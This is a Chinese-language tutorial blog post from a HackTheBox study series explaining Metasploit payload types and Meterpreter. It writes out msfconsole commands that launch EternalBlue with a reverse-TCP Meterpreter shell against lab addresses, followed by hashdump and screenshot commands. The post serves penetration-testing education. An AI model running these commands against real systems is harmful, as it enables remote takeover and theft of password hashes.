iT邦幫忙

2024 iThome 鐵人賽

DAY 11
0
Security

前端小廢物誤入 Hackthebox Module系列 第 11 篇

Metasploit & Payload - 模塊知多少?

  • 分享至 

  • xImage
  •  

Payloads 在 Metasploit 中的作用

什麼是 Payload?

在 Metasploit 框架中,Payload 是一個模塊,用於幫助利用 (exploit) 模塊將攻擊者的 shell 返回。Payloads 和 exploit 一起發送,繞過漏洞服務的正常運行過程,然後在目標操作系統上運行,通常會返回一個反向連接 (reverse connection) 給攻擊者,從而建立初始控制權。


Payloads 的類型

Metasploit 框架中有三種不同類型的 Payload 模塊:Singles、Stagers 和 Stages。這三種類型的 payload 互動方式各有不同,為滲透測試者提供靈活性。

  • Singles:一個獨立的 payload,包含了 exploit 和執行特定任務所需的全部 shellcode。
  • Stagers:小而穩定的 payload,負責建立網絡連接。
  • Stages:這是更大且功能強大的 payload,被 Stager 載入後使用。

Single Payloads

Single Payloads 是獨立的,包含了所有需要的 shellcode。這些 payload 不需要依賴其他模塊來運行,但有時會因大小限制而無法使用。

舉個例子,這是其中一個 Single Payload:

windows/shell_bind_tcp

Stager Payloads

Stager Payloads 負責設置網絡連接,並且設計為體積小、運行可靠。當 Stager 建立連接後,Stage Payload 會被載入並運行。

舉個例子,這是其中一個 Stager Payload:

windows/shell/bind_tcp

Stager 的優點是它們相對小巧,可以應對內存限制的情況,並且可以利用 Stages 來實現更多功能。

Stage Payloads

Stage Payloads 是 Stagers 的配套模塊,通常提供進階功能,例如 Meterpreter 或 VNC Injection。

Stages 沒有大小限制,能夠下載到目標機器並運行。

例如,在 staged payload 中,Stage0 是初始的 shellcode,負責與攻擊者建立反向連接 (reverse connection)。

一旦連接建立,Stage0 會從攻擊者機器中下載更大的 Stage1 來實現完整的攻擊。

範例

以下是一個範例,可以在 Metasploit 中查看和選擇 payload。

首先,列出所有可用的 payload:

msf6 > show payloads

搜索特定 payload,例如 meterpreter 和 reverse_tcp:

msf6 > grep meterpreter grep reverse_tcp show payloads

這將顯示與 Meterpreter 相關的反向 TCP 連接 payload。

接著,設定 payload:

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

設定攻擊目標和攻擊者的 IP 地址:

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.15

運行 exploit:

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

如果攻擊成功,你將會看到類似於 Meterpreter session 1 opened 的提示,這表示你已經獲得了對目標的遠程控制。

Meterpreter Payloads

Meterpreter 是一個功能強大的 payload,通過動態連接,使用 DLL 注入來保持與目標的穩定連接。它完全在內存中運行,不會留下硬碟痕跡,因此很難被傳統的取證技術檢測到。

Meterperter 可以用來執行以下任務:

  • 取得密碼 hash
  • 擷取鍵盤輸入
  • 拍攝螢幕快照
  • 操控檔案系統

範例

meterpreter > screenshot
meterpreter > hashdump

這讓你可以在不被發現的情況下持續控制目標機器。

其他常見的 Payload

Metasploit 提供了很多不同的 payload,用於不同的操作系統和環境~

以下是一些常見的 payload:

generic/shell_bind_tcp: 通用型 shell,通過 TCP 連接
windows/x64/shell/reverse_tcp: 反向 TCP 連接的 Windows shell
windows/x64/meterpreter/reverse_tcp:反向 TCP 連接的 Windows Meterpreter
android/meterpreter/reverse_tcp:反向 TCP 連接的 Android Meterpreter

總結

Single Payloads 是獨立的模塊,簡單且穩定。
Stagers 和 Stages 組合使用時更靈活,允許在目標上進行更大的操作。
Meterpreter 提供了進階的滲透測試功能,能夠動態載入腳本並在遠程主機上執行多種任務。

今日心得

昨天沒睡好,今天頭痛到不行QQ
很難思考,但還是硬把文章產出了@@

參考資源

https://academy.hackthebox.com/


上一篇
Metasploit - 使用工具的心態與初探
下一篇
MSVenom - 生成和編碼 Payload
系列文
前端小廢物誤入 Hackthebox Module 共 31 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言